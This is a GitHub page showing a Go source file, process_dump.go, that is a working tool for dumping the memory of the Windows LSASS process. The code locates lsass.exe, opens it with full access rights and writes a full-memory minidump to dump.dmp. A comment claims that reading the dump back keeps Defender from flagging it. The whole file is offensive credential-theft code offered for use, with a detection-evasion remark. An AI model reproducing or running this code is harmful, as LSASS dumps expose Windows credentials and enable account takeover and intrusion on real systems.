-
Notifications
You must be signed in to change notification settings - Fork 38
/
process_dump.go
78 lines (72 loc) · 1.93 KB
/
process_dump.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package main
import (
"fmt"
"golang.org/x/sys/windows"
"log"
"os"
)
const (
PROCESS_ALL_ACCESS = 0x1F0FFF
processEntrySize = 568
MiniDumpWithFullMemory = 0x00000002
)
var (
dbghelp = windows.NewLazyDLL("dbghelp.dll")
miniDumpWriteDumpWin32 = dbghelp.NewProc("MiniDumpWriteDump")
)
func main() {
outfile := "dump.dmp"
//Get Pid
fmt.Println("[*] Get process id")
pid, err := getProcessID("lsass.exe")
if err != nil {
log.Fatal("Error while getting process id", err)
}
//Create Dumpfile
hFile, err := windows.Open(outfile, windows.O_RDWR|windows.O_CREAT, 0777)
if err != nil {
log.Fatal("Error while creating dumpfile: ", err)
}
//Open lsass handle
fmt.Println("[*] Open lsass handle")
lsassHandle, err := windows.OpenProcess(PROCESS_ALL_ACCESS, false, pid)
if err != nil {
log.Fatal("Error while opening process: ", err)
}
//Dump lsass with pid 0
fmt.Println("[*] Dump lsass")
miniDumpWriteDump(uintptr(lsassHandle), uintptr(0), uintptr(hFile), MiniDumpWithFullMemory)
//It somehow prevents defender to flag the dump file
_, err = os.ReadFile("dump.dmp")
if err != nil {
log.Fatal("Error while dumping process : ", err)
}
}
// https://stackoverflow.com/questions/11356264/list-of-currently-running-process-in-golang-windows-version
func getProcessID(name string) (uint32, error) {
h, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0)
if err != nil {
return 0, err
}
p := windows.ProcessEntry32{Size: processEntrySize}
for {
err = windows.Process32Next(h, &p)
if err != nil {
return 0, err
}
if windows.UTF16ToString(p.ExeFile[:]) == name {
return p.ProcessID, nil
}
}
}
// https://docs.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump
func miniDumpWriteDump(hProcess uintptr, ProcessId uintptr,
hFile uintptr, DumpType uintptr) {
miniDumpWriteDumpWin32.Call(hProcess,
ProcessId,
hFile,
DumpType,
0,
0,
0)
}